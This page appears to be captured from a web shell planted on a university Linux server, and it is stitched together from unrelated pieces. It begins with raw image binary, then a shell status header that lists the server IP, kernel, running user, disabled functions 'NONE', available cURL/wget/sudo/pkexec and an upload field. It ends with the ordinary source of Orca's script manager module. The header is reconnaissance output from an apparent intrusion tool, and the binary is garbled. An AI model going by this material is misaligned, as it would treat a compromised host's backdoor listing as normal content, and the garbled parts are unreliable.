RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð �PNG ��� IHDR���0���0����`n���� cHRM��z&��������������u0���`��:���p��Q<���bKGD�������������tIME� 6���� AIDATX��]pU����{��{�G�n$$@ -�-jВAک��P��1O���j��:cU|hg�}�C�ʋU�:�A A�����|$$$������}�^}8i *�د�?w�9gݵ��:{��F"��&��4� �@��@q_����Ow��9<<|�ԩ�;w���"�#GV�^}Ճ7�|s˖-{��|��G�-[��R�Q�aőTR)� �2!�e�63��X�U������{��Z�m۶�^}�5����}����v�R��J�J,�$� B�$Ф")�i��D�9+䜆B.�qf�үÇoذaժU�i>��so����a^���۷����3�<�ꫯnݺ��"���\���gn0�h��B�i� hR��,W*�e�65��LS�ر�0ēO>���755���ι@O?��ҥK������:::����1��X�9S�%�'�I���$��Sg�ڥ3'zF/� ��Z�8ES6WZ#�.�\��P�R�2����-[�,_�|�`�j�Xl6M���b�Z�* �jҟ0��҉B""� y22r�ܹ�CG�;���{7nn��ma���������2S���� <��x�⡡�|p.Pw��x��y�C�=��O� ��CB}�ӵ����?�wq`8�e����{+Չɱ�\{&�LL������vww��]��?q��Y�������P(���vuu9���S?w���ݻ�v<���mш ��D�DR&�j�X�����y�>���dyg�7��b��s�p��E���BDR� t����������=w�\�[;:[&._�Dlڸv�]��u�驚�/Y�a�����d�%��*)1� �V\G���[F]����X���i����J:z�N�9�?xϭ+X�V|���U�n� �g���hҜ�b�aҢ^��j�f�ZV�K��w.�ؾp�}{� �/e��{O�o�����R�8���i� !jB`�3n;Mw.=7�S�'��F�yW��x�}LXNfz�����b�p�b�bq~�����s�4�H�2��q^�r��n���\aFf4�����n�c��Q�n�X�,����ӑҤd5DDDd9'd��,�l��.���)?��������#}C�k����ܖq����m�a��y��8D���,K)�I�$I�8NE�aH)�|�VCDƘ��DF0D@M�"3�+�����Kcú��+n}��-�k:W�K������3ƄRʌ��m۞��q�9WJ���d�0�,�8��ٶ�⦈B�h���䩡�eDCj&$ �1�Y��\�>{~`�M����ͷt�#?VZ'@D²l"�,+�ɤc0�r��R*��X��n�_kMD�1"""ι�:%X��� $�b:i�b4�X<�/"r�����[Vo��T��0V�i���sΓ$IG���4M�c�R�eq��QS�+5{�{�,��a"��D�2�CҐ(I`CS�s�ʥ�R&�p�����۴(�N���e�sq�Ғ|%�����k�=�0S3@�`�i9�K��Պ�0T�Y��ؼD*��DE��2�gO�bŷrY����z�T��R�҉҆SX�Tϑ����/�Zi�eL��X��jdx䏿�eَ���7��П"?�����0y����<��R�N8�\X9ӥx ��^�L�l�ކ��u����/���Q�B�^p�f��\3��]�INƑ�L�"--�r�!8?���Rp~����v��|�M��$����_M�����GgF�/U�^�^p�Dk�ٲ�vM� ����L$�eGʓ01*���Two��f��#���ޱ��7��!5rdy"D��V���\ט��[y�f���@���Um����2w\�fg_z�y���v|`$_ow402�|���c��Zt��J��Yw���b8+L����R�t߉O�xS���'�L��`/lY�� ���Z;f�nX���f��$�<���Ϩ�J��z"�y��%�qzz��(B��Y�@D�)�uS���<�\.[�����*T(�8v�̗����rrr2I�� N5w����^k=�}�:�S�yӌ��ً+�����NY碧f����0)��h. �R����4�Ա�>�X,:����c�0�0�Rn6���mii�MW*�j��i�I�0�,ˊ���È�8���j�$I�hkk�`||�B!b��l6�8Ncc��U��<���1f�&"FQdYV�B�b���j3�>�!��j>���g���g��RD����8���r�08�u�7��]3������~�,b�P���%tEXtdate:create�2025-02-07T10:02:54+00:00� t����%tEXtdate:modify�2025-02-07T10:02:54+00:00�P�6���(tEXtdate:timestamp�2025-02-07T10:02:54+00:00�E������IEND�B`�
| Server IP : 128.227.220.250 / Your IP : 216.73.216.35 Web Server : Apache/2.4.64 (Unix) OpenSSL/1.0.2k-fips PHP/7.4.33 System : Linux dumont.ece.ufl.edu 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64 User : daemon ( 2) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/lib64/python2.7/site-packages/orca/ |
Upload File : |
# Orca
#
# Copyright 2011. Orca Team.
# Author: Joanmarie Diggs <joanmarie.diggs@gmail.com>
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the
# Free Software Foundation, Inc., Franklin Street, Fifth Floor,
# Boston MA 02110-1301 USA.
__id__ = "$Id$"
__version__ = "$Revision$"
__date__ = "$Date$"
__copyright__ = "Copyright (c) 2011. Orca Team."
__license__ = "LGPL"
import importlib
from . import debug
from . import orca_state
from .scripts import apps, toolkits
class ScriptManager:
def __init__(self):
debug.println(debug.LEVEL_FINEST, 'INFO: Initializing script manager')
self.appScripts = {}
self.toolkitScripts = {}
self._appModules = apps.__all__
self._toolkitModules = toolkits.__all__
self._defaultScript = None
self._scriptPackages = \
["orca-scripts",
"orca.scripts",
"orca.scripts.apps",
"orca.scripts.toolkits"]
self._appNames = \
{'Bon Echo': 'Mozilla',
'Deer Park': 'Mozilla',
'Firefox': 'Mozilla',
'Minefield': 'Mozilla',
'Namoroka': 'Mozilla',
'Shiretoko': 'Mozilla',
'Lanikai': 'Thunderbird',
'Mail/News': 'Thunderbird',
'Miramar': 'Thunderbird',
'Shredder': 'Thunderbird',
'Earlybird': 'Thunderbird',
'bug-buddy': 'gnome_segv2',
'gaim': 'pidgin',
'empathy-chat': 'empathy',
'gnome-calculator': 'gcalctool',
'Nereid': 'Banshee',
'vte': 'gnome-terminal'}
self._toolkitNames = \
{'gtk': 'GAIL',
'clutter': 'CALLY'}
self.setActiveScript(None, "__init__")
debug.println(debug.LEVEL_FINEST, 'INFO: Script manager initialized')
def activate(self):
"""Called when this script manager is activated."""
debug.println(debug.LEVEL_FINEST, 'INFO: Activating script manager')
self._defaultScript = None
self.setActiveScript(self.getScript(None), "activate")
debug.println(debug.LEVEL_FINEST, 'INFO: Script manager activated')
def deactivate(self):
"""Called when this script manager is deactivated."""
debug.println(debug.LEVEL_FINEST, 'INFO: Dectivating script manager')
self._defaultScript = None
self.setActiveScript(None, "deactivate")
self.appScripts = {}
self.toolkitScripts = {}
debug.println(debug.LEVEL_FINEST, 'INFO: Script manager deactivated')
def getModuleName(self, app):
"""Returns the module name of the script to use for application app."""
try:
appAndNameExist = app != None and app.name != ''
except (LookupError, RuntimeError):
appAndNameExist = False
debug.println(debug.LEVEL_SEVERE,
"getModuleName: %s no longer exists" % app)
if not appAndNameExist:
return None
# Many python apps have an accessible name which ends in '.py'.
# Sometimes OOo has 'soffice.bin' as its name.
name = app.name.split('.')[0]
altNames = list(self._appNames.keys())
names = [n for n in altNames if n.lower() == name.lower()]
if names:
name = self._appNames.get(names[0])
else:
for nameList in (self._appModules, self._toolkitModules):
names = [n for n in nameList if n.lower() == name.lower()]
if names:
name = names[0]
break
debug.println(debug.LEVEL_FINEST, "mapped %s to %s" % (app.name, name))
return name
def _toolkitForObject(self, obj):
"""Returns the name of the toolkit associated with obj."""
name = ''
if obj:
try:
attributes = obj.getAttributes()
except (LookupError, RuntimeError):
debug.println(debug.LEVEL_SEVERE,
"_toolkitForObject: %s no longer exists" % obj)
else:
attrs = dict([attr.split(':', 1) for attr in attributes])
name = attrs.get('toolkit', '')
return name
def _newNamedScript(self, app, name):
"""Attempts to locate and load the named module. If successful, returns
a script based on this module."""
if not (app and name):
return None
altNames = list(self._toolkitNames.keys())
names = [n for n in altNames if n.lower() == name.lower()]
if names:
newName = self._toolkitNames.get(names[0])
debug.println(debug.LEVEL_FINEST,
"mapped %s to %s" % (name, newName))
name = newName
script = None
for package in self._scriptPackages:
moduleName = '.'.join((package, name))
debug.println(debug.LEVEL_FINE, "Looking for %s.py" % moduleName)
try:
module = importlib.import_module(moduleName)
except ImportError:
debug.println(
debug.LEVEL_FINE, "Could not import %s.py" % moduleName)
continue
debug.println(debug.LEVEL_FINE, "Found %s.py" % moduleName)
try:
if hasattr(module, 'getScript'):
script = module.getScript(app)
else:
script = module.Script(app)
debug.println(debug.LEVEL_FINE, "Loaded %s.py" % moduleName)
break
except:
debug.printException(debug.LEVEL_SEVERE)
debug.println(
debug.LEVEL_SEVERE, "Could not load %s.py" % moduleName)
return script
def _createScript(self, app, obj=None):
"""For the given application, create a new script instance."""
moduleName = self.getModuleName(app)
script = self._newNamedScript(app, moduleName)
if script:
return script
objToolkit = self._toolkitForObject(obj)
script = self._newNamedScript(app, objToolkit)
if script:
return script
try:
toolkitName = getattr(app, "toolkitName", None)
except (LookupError, RuntimeError):
msg = "Error getting toolkitName for: %s" % app
debug.println(debug.LEVEL_FINE, msg)
else:
if app and toolkitName:
script = self._newNamedScript(app, toolkitName)
if not script:
script = self.getDefaultScript(app)
debug.println(debug.LEVEL_FINE, "Default script created")
return script
def getDefaultScript(self, app=None):
if not app and self._defaultScript:
return self._defaultScript
from .scripts import default
script = default.Script(app)
script.registerEventListeners()
if not app:
self._defaultScript = script
return script
def getScript(self, app, obj=None):
"""Get a script for an app (and make it if necessary). This is used
instead of a simple calls to Script's constructor.
Arguments:
- app: the Python app
Returns an instance of a Script.
"""
appScript = None
toolkitScript = None
objToolkit = self._toolkitForObject(obj)
if objToolkit:
toolkitScripts = self.toolkitScripts.get(app, {})
toolkitScript = toolkitScripts.get(objToolkit)
if not toolkitScript:
toolkitScript = self._createScript(app, obj)
toolkitScripts[objToolkit] = toolkitScript
toolkitScript.registerEventListeners()
self.toolkitScripts[app] = toolkitScripts
if not app:
appScript = self.getDefaultScript()
elif app in self.appScripts:
appScript = self.appScripts[app]
else:
appScript = self._createScript(app, None)
self.appScripts[app] = appScript
appScript.registerEventListeners()
# Only defer to the toolkit script for this object if the app script
# is based on a different toolkit.
if toolkitScript \
and not issubclass(appScript.__class__, toolkitScript.__class__):
return toolkitScript
return appScript
def setActiveScript(self, newScript, reason=None):
"""Set the new active script.
Arguments:
- newScript: the new script to be made active.
"""
if orca_state.activeScript == newScript:
return
if orca_state.activeScript:
orca_state.activeScript.deactivate()
orca_state.activeScript = newScript
if not newScript:
return
newScript.activate()
debug.println(debug.LEVEL_FINE, "ACTIVE SCRIPT: %s (reason=%s)" \
% (newScript.name, reason))
def reclaimScripts(self):
"""Compares the list of known scripts to the list of known apps,
deleting any scripts as necessary.
"""
from pyatspi import Registry
try:
desktop = Registry.getDesktop(0)
except:
debug.printException(debug.LEVEL_FINEST)
return
appList = list(self.appScripts.keys())
appList = [a for a in appList if a != None and a not in desktop]
for app in appList:
appScript = self.appScripts.pop(app)
appScript.deregisterEventListeners()
del appScript
try:
toolkitScripts = self.toolkitScripts.pop(app)
except KeyError:
pass
else:
for toolkitScript in list(toolkitScripts.values()):
toolkitScript.deregisterEventListeners()
del toolkitScript
del app
_manager = ScriptManager()
def getManager():
return _manager